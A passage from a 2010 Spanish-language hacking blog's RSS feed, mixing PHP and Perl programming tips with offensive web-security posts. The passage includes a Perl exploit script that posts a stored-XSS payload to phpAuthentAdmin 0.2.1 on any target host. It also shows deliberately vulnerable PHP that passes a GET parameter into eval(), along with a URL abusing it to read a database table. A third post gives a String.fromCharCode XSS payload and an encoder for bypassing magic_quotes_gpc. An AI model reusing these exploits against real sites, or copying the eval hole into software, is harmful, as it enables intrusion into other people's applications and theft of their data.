Regulares</title><link>http://yoyahack.blogspot.com/2010/10/passive-group-expresiones-regulares.html</link><category>Nivel web</category><category>php</category><category>programacion</category><category>Regexp</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sat, 30 Oct 2010 07:41:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-4554165941219713810</guid><description>Buenas, los Passive Group se usan para no crear una referencia... Si tengo el siguiente patrón&lt;div&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;preg_match('/(hola)/','hola', $salida);&lt;br /&gt;echo $salida[1];&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;La salida es &lt;b style="font-style: italic; "&gt;hola, &lt;/b&gt;el primer paréntesis crea la primera referencia, si existe otro paréntesis creara una segunda referencia, etc... Si usamos Passive Group este no creara una referencia...&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;preg_match('/(?:h)(ola)/','hola', $salida);&lt;br /&gt;echo $salida[1];&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La salida es &lt;i style="font-weight: bold; "&gt;ola,&lt;/i&gt; en el primer paréntesis uso el Passive Group para no crear una referencia pero en el segundo creo una referencia que seria la primera referencia...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>[PHP Class] HttpLoginConnect</title><link>http://yoyahack.blogspot.com/2010/09/php-class.html</link><category>Herramientas</category><category>Nivel web</category><category>php</category><category>POO</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Wed, 1 Sep 2010 16:59:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-3948175262689190994</guid><description>&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#CC0000;"&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;HttpLoginConnect&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#CC0000;"&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="color:#CC0000;"&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"   style=" font-style: normal; font-weight: normal;  color: rgb(204, 204, 204); font-family:Arial;font-size:medium;"&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;HttpLoginConnect&lt;/span&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;es una clase hecha en PHP, especialmente preparada para la validación de datos de un login...&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Descripción&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;: &lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;HttpLoginConnect valida los datos de un login, verifica que la validación de datos sea correcta y captura la cookie que mandar el servidor, para su posterior uso... Se puede realizar peticiones GET al servidor usando la cookie capturada.&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Característica:&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Validación de datos&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Uso de Cookie&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Permite enviar peticiones GET con el uso de cookie&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Permite parámetros opcionales para enviarlo via POST&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Requerimientos:&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Apache&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;PHP5&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;PHP-Curl&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;i&gt;&lt;a href="http://code.google.com/p/http-login-connect/wiki/WikiHttpLoginConnect"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Documentacion&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;a href="http://code.google.com/p/http-login-connect/source/browse/trunk/loginconnecthttp.php"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Source&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;Saludos.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Mysql Connection Hijacking</title><link>http://yoyahack.blogspot.com/2010/08/mysql-connection-hijacking.html</link><category>MYSQL</category><category>Nivel web</category><category>php</category><category>programacion</category><category>vurnerabilidad</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 8 Aug 2010 09:14:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-8753849622559160550</guid><description>Buenas, hace poco estaba leyendo un White-paper,  que mostraba la importancia de la función &lt;a style="font-weight: bold;" href="http://php-es.com/function.mysql-close.html"&gt;mysql_close()&lt;/a&gt;, que sirve para cerrar conexiones mysql no-persistente, algunas personas no lo usan ya que la conexión se cierra al final del script, otras personas no le dan importancia...&lt;br /&gt;&lt;br /&gt;Bueno para entender como funciona, que mejor que un ejemplo:&lt;br /&gt;&lt;br /&gt;Este es el código vulnerable:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$connect = mysql_connect('127.0.0.1','root','password');&lt;br /&gt;mysql_select_db('ejemplo',$connect);&lt;br /&gt;&lt;br /&gt;if(mysql_query('select * from nombres where id=1;')){&lt;br /&gt;echo "Consulta ejecutada";&lt;br /&gt;}else{&lt;br /&gt;echo "No se pudo ejecutar la consulta&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;";&lt;br /&gt;}&lt;br /&gt;if(isset($_GET['v']))&lt;br /&gt;{&lt;br /&gt;eval($_GET['v']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;En este caso como no se ah cerrado la conexión mysql no-persistente y tampoco ah finalisado el script puedo hacer uso de la conexión mysql...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://127.0.0.1/script.php?v=$sql = mysql_query('select * from nombres');while ($row = mysql_fetch_assoc($sql)){ echo "&amp;lt;br&amp;gt;".$row['nombre'];}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Consulta ejecutada&lt;br /&gt;edwin&lt;br /&gt;jose&lt;br /&gt;jesus&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Saludos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;a style="font-weight: bold; color: rgb(0, 102, 0);" href="http://es.wikipedia.org/wiki/Hijacking"&gt;Hijacking&lt;/a&gt;&lt;br /&gt;&lt;a style="font-weight: bold; color: rgb(0, 102, 0);" href="http://es.wikipedia.org/wiki/MySQL"&gt;MySQL&lt;/a&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>¿empty o isset?</title><link>http://yoyahack.blogspot.com/2010/06/empty-o-isset.html</link><category>Nivel web</category><category>php</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Thu, 17 Jun 2010 16:39:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-2234215047109209587</guid><description>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;B&lt;/span&gt;&lt;/b&gt;uenas, aveces tenemos que verificar el contenido de una variable pero mucha veces usamos isset o empty para verificar pero son muy diferente las dos... &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;B&lt;/i&gt;&lt;/b&gt;asta con preguntarse porque en php existiría una función con diferente nombre pero con el mismo resultado....&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;P&lt;/i&gt;&lt;/b&gt;s la correcta forma para verificar si una variable esta vacía es &lt;b&gt;&lt;i&gt;empty  &lt;/i&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;ya que determina si una variable esta vacía... &lt;/span&gt;&lt;i&gt;isset &lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;se usa para saber si una variable esta definida...&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;Saludos....&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total></item><item><title>Capturacion global con Expresiones Regulares en Perl y PHP</title><link>http://yoyahack.blogspot.com/2010/04/capturacion-global-con-expresiones.html</link><category>Nivel web</category><category>perl</category><category>php</category><category>programacion</category><category>Regexp</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 11 Apr 2010 09:37:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-3361433307799922061</guid><description>&lt;span style="font-weight: bold;"&gt;B&lt;/span&gt;uenas, aveces necesitamos hacer una captura global con expresiones regulares, ya que cuando encuentra el primer patron hay termina la expresion termina...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A&lt;/span&gt;unque en Perl nunca tuve ese problema en PHP, así que muestro la manera de hacerlo con PHP y Perl.&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;Perl&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En Perl necesito usar el operador de opción &lt;span style="font-weight: bold; font-style: italic;"&gt;g &lt;/span&gt;mas una sentencia infinita, en este caso while...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: perl"&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;$txt = "Hola adios Hola aqwq ds iifndini Hola";&lt;br /&gt;&lt;br /&gt;while($txt =~ m/(Hola+)/g){&lt;br /&gt;&lt;br /&gt;print $1, "\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;exit;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;yoya@yoya-desktop:~/Escritorio$ perl d.pl&lt;br /&gt;Hola&lt;br /&gt;Hola&lt;br /&gt;Hola&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;PHP&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En PHP necesito usar la función &lt;a style="font-style: italic;" href="http://www.php-es.com/function.preg-match-all.html"&gt;preg_match_all&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$txt = "Hola adios Hola aqwq ds iifndini Hola";&lt;br /&gt;preg_match_all("/(Hola+)/", $txt, $captura, PREG_SET_ORDER);&lt;br /&gt;foreach ($captura as $salida){&lt;br /&gt;echo $salida[1];&lt;br /&gt;echo "\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;yoya@yoya-desktop:~/Escritorio$ php  a.php&lt;br /&gt;Hola&lt;br /&gt;Hola&lt;br /&gt;Hola&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;a style="font-weight: bold; color: rgb(0, 102, 0);" href="http://es.wikipedia.org/wiki/Expresi%C3%B3n_regular"&gt;Expresiones Regulares&lt;/a&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>phpAuthentAdmin 0.2.1 permanent XSS</title><link>http://yoyahack.blogspot.com/2010/04/phpauthentadmin-021-permanent-xss.html</link><category>Exploit</category><category>Nivel web</category><category>perl</category><category>vurnerabilidad</category><category>XSS</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sat, 3 Apr 2010 21:26:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-759316878678829816</guid><description>Bueno hace poco publique un exploit en security focus, para insetar un código javascript permanente...&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: perl"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;#Autor: Yoyahack&lt;br /&gt;#Web: http://undersecurity.net&lt;br /&gt;#Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request::Common;&lt;br /&gt;&lt;br /&gt;#Source&lt;br /&gt;&lt;br /&gt;print q(---------------------------------&lt;br /&gt;Autor: Yoyahack&lt;br /&gt;Web: http://undersecurity.net&lt;br /&gt;Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....&lt;br /&gt;---------------------------------&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;if(!$ARGV[0]){&lt;br /&gt;print "Insert web\n";&lt;br /&gt;print "Ex: www.webpage.comhttp://www.webpage.com\n";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$xss = qq();&lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.2pre)".&lt;br /&gt;"Gecko/20100308 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre");&lt;br /&gt;&lt;br /&gt;$response = $ua-&amp;gt;request(&lt;br /&gt;POST "http://$ARGV[0]/phpauthent/phpauthentadmin/useradd.php?action=create",&lt;br /&gt;{&lt;br /&gt;action =&amp;gt; 'changerealname',&lt;br /&gt;name =&amp;gt; $xss,&lt;br /&gt;action =&amp;gt; 'rename',&lt;br /&gt;login =&amp;gt; 'aaa',&lt;br /&gt;action=&amp;gt; 'password',&lt;br /&gt;password =&amp;gt; 'XSS',&lt;br /&gt;action =&amp;gt; 'changeemail',&lt;br /&gt;email =&amp;gt; 'XSS',&lt;br /&gt;},&lt;br /&gt;'Cookie' =&amp;gt; 'PHPSESSID=cf1c170aa9d334d6cec1514e721573e6',&lt;br /&gt;);&lt;br /&gt;$loc = 'index.php?msg=001';&lt;br /&gt;if($loc eq $response-&amp;gt;header('location')){&lt;br /&gt;print "\n\nExploit send!\n";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;print "\n\nExploit Faield\n";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 102, 0);" href="http://www.securityfocus.com/bid/38908/info"&gt;&lt;span style="font-weight: bold;"&gt;Info security focus&lt;/span&gt;&lt;/a&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Bypass de magic_quotes_gpc() para explotar XSS via POST</title><link>http://yoyahack.blogspot.com/2010/02/bypass-de-magicquotesgpc-para-expotar.html</link><category>Herramientas</category><category>Nivel web</category><category>php</category><category>vurnerabilidad</category><category>XSS</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Mon, 15 Feb 2010 11:12:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-504144718662799452</guid><description>&lt;span style="font-weight: bold;"&gt;B&lt;/span&gt;uenas, algunas veces necesitamos explotar un XSS via GET o via POST, pero nos no dejas porque al parecer tienen ON la directiva &lt;a href="http://www.php-es.com/ref.info.html#ini.magic-quotes-gpc"&gt;magic_quotes_gpc&lt;/a&gt; (Get, Post, Cookie), que nos escapa las comillas dobles y simples a barras invertidas, esto puede ser un problema al principio pero esto se puede bypassear con la función String.fromCharCode(), ahora sito el texto:&lt;br /&gt;&lt;pre&gt;Este es un método global del objeto String que crea una cadena a partir de los&lt;br /&gt;códigos Unicode  que se le pasen como parámetros.&lt;span style="font-family:Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Bueno, para resumir, para poder explotar las magic_quotes_gpc, solo es necesario insertar un código javascript que no contenga comillas dobles y simples, para esto nos ayudara la función de javascript String.fromCharCode().&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, primero debo saber si tengo la directiva On en el php.ini&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush"&gt;root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpc&lt;br /&gt;magic_quotes_gpc = On&lt;/pre&gt;Con esto ya sabemos que tenemos la directiva magic_quotes_gpc On.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Nota:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Apartir de PHP 5.3.0 la directiva magic_quotes_gpc viene por defecto Off y apartir de la versión 6 de PHP sera eliminada.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Explotaremos el siguiente archivo:&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;/*Archivo proc.php*/&lt;br /&gt;/*Explotando XSS con magic_quote_gpc ON*/&lt;br /&gt;&lt;br /&gt;$var = $_POST['form1'];&lt;br /&gt;$var2 = $_POST['form2'];&lt;br /&gt;&lt;br /&gt;if(!empty($var) &amp;amp;&amp;amp; !empty($var2))&lt;br /&gt;{&lt;br /&gt;echo "El primer valor es: ", $var;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;echo "El segundo valor es: ", $var2;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;form name="Formulario" action="proc.php" method="POST"&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Ingrese el primer parametro&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;input name="form1" type="txt" size="30"&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Ingrese el Segundo parametro&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;input name="form2" type="txt" size="30"&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Enviar"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisc42E8wsjY8b358kz3Ntr7cQcHQiPBFxixut2TvdKZGLPlnTc9wPqMfdTJH2xfuwr9yAmPXVAlwB9qEdbvtfL7ipuY3G8iABAgfkaHAXO7yHG-E9807U0E2wAKWEPZMSHj6QpLIkkfwCE/s1600-h/pro.png"&gt;&lt;img style="cursor: pointer; width: 297px; height: 180px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisc42E8wsjY8b358kz3Ntr7cQcHQiPBFxixut2TvdKZGLPlnTc9wPqMfdTJH2xfuwr9yAmPXVAlwB9qEdbvtfL7ipuY3G8iABAgfkaHAXO7yHG-E9807U0E2wAKWEPZMSHj6QpLIkkfwCE/s320/pro.png" alt="" id="BLOGGER_PHOTO_ID_5438559583663346578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ok, luego presionamos enviar y aparecerá lo siguiente:&lt;br /&gt;&lt;pre class="brush"&gt;&lt;br /&gt;El primer valor es: \"Probando \"comillas dobles\"&lt;br /&gt;El segundo valor es: \'Probando comillas simples\'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Podemos ver que nos a escapado las comillas dobles y simple con barras invertidas,&lt;br /&gt;ok, si ponemos en el formulario, ok ahora usaremos la funcion String.fromCharCode() para pasar los parámetros necesario para ejecutar XSS pero lo tendremos que pasar en ascii, tengo hice una herramienta en perl para su uso.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: perl"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;#Code by Yoyahack&lt;br /&gt;#yoyahack.blogspot.com&lt;br /&gt;#Undersecurity.net&lt;br /&gt;&lt;br /&gt;if(!$ARGV[0]){&lt;br /&gt;print "Usage perl $0 &amp;lt;text&amp;gt;\n";&lt;br /&gt;print "Ex: perl $0 yoyahack\n";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;print "La cadena convertida a ASCII es:\n";&lt;br /&gt;print join ',', unpack "U*", $ARGV[0];&lt;br /&gt;print "\n";&lt;br /&gt;exit;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, la vamos a pasar y vamos a pasar el siguiente parametro a la tool en perl:&lt;br /&gt;&lt;pre class="brush"&gt;&lt;br /&gt;&amp;lt;script&amp;gt;alert("Buenas, esto es un ejemplo")&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y nos devolverá:&lt;br /&gt;&lt;pre class="brush"&gt;&lt;br /&gt;60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ok ahora insertamos lo siguiente en el formulario:&lt;br /&gt;&lt;pre class="brush"&gt;&lt;br /&gt;&amp;lt;script&amp;gt;document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y el resultado:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIn21wi2HRjUIg1oc-T-PTVtJZv5Q2dx6lpnCA2wZnCEdyNbzyEnG30uv3uNbaMh-wAMOBp7xqzMqIqKeXDTDxkOocNeYIApIi07CXV1pMHKmzR5-t1IUfoUE9YSJa-hufU3Snn5IECRox/s1600-h/xss.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 116px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIn21wi2HRjUIg1oc-T-PTVtJZv5Q2dx6lpnCA2wZnCEdyNbzyEnG30uv3uNbaMh-wAMOBp7xqzMqIqKeXDTDxkOocNeYIApIi07CXV1pMHKmzR5-t1IUfoUE9YSJa-hufU3Snn5IECRox/s320/xss.png" alt="" id="BLOGGER_PHOTO_ID_5438564910550847522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno, esto era todo...&lt;br /&gt;&lt;br /&gt;Saludos.</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisc42E8wsjY8b358kz3Ntr7cQcHQiPBFxixut2TvdKZGLPlnTc9wPqMfdTJH2xfuwr9yAmPXVAlwB9qEdbvtfL7ipuY3G8iABAgfkaHAXO7yHG-E9807U0E2wAKWEPZMSHj6QpLIkkfwCE/s72-c/pro.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>Ejemplo de PHP POO ( Programación orientada a objectos)</title><link>http://yoyahack.blogspot.com/2010/02/ejemplo-de-php-poo-programacion.html</link><category>php</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 14 Feb 2010 14:09:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-5773320624301549645</guid><description>Ejemplo de PHP POO (Programación orientada a objectos), para que vean mas o menos como funciona xD.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;class info {&lt;br /&gt; private $nombre;&lt;br /&gt; private $apellido;&lt;br /&gt; private $edad;&lt;br /&gt;&lt;br /&gt;public function __construct($nom,$lname, $age)&lt;br /&gt; {&lt;br /&gt;    $this-&amp;gt;nombre = $nom;&lt;br /&gt;    $this-&amp;gt;apellido = $lname;&lt;br /&gt;    $this-&amp;gt;edad = $age;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;public function nombree()&lt;br /&gt; {&lt;br /&gt;    echo &amp;quot;El nombre es &amp;quot;.$this-&amp;gt;nombre;&lt;br /&gt;    echo '&amp;lt;br&amp;gt;';&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;public function apellidoo()&lt;br /&gt; {&lt;br /&gt;    echo &amp;quot;El apellido es &amp;quot;.$this-&amp;gt;apellido;&lt;br /&gt;    echo '&amp;lt;br&amp;gt;';&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;public function edadd()&lt;br /&gt; {&lt;br /&gt;    echo &amp;quot;La edad de &amp;quot;.$this-&amp;gt;nombre.&amp;quot; es &amp;quot;.$this-&amp;gt;edad;&lt;br /&gt;    echo '&amp;lt;br&amp;gt;';&lt;br /&gt; } &lt;br /&gt; &lt;br /&gt;public function mostrar()&lt;br /&gt; {&lt;br /&gt;    echo $this-&amp;gt;nombree();&lt;br /&gt;    echo $this-&amp;gt;apellidoo();&lt;br /&gt;    echo $this-&amp;gt;edadd();&lt;br /&gt; &lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;}//Fin de la clase&lt;br /&gt; &lt;br /&gt;$info = new info('Yoya','hack', '99');&lt;br /&gt;$info-&amp;gt;mostrar();&lt;br /&gt; &lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>search-vul 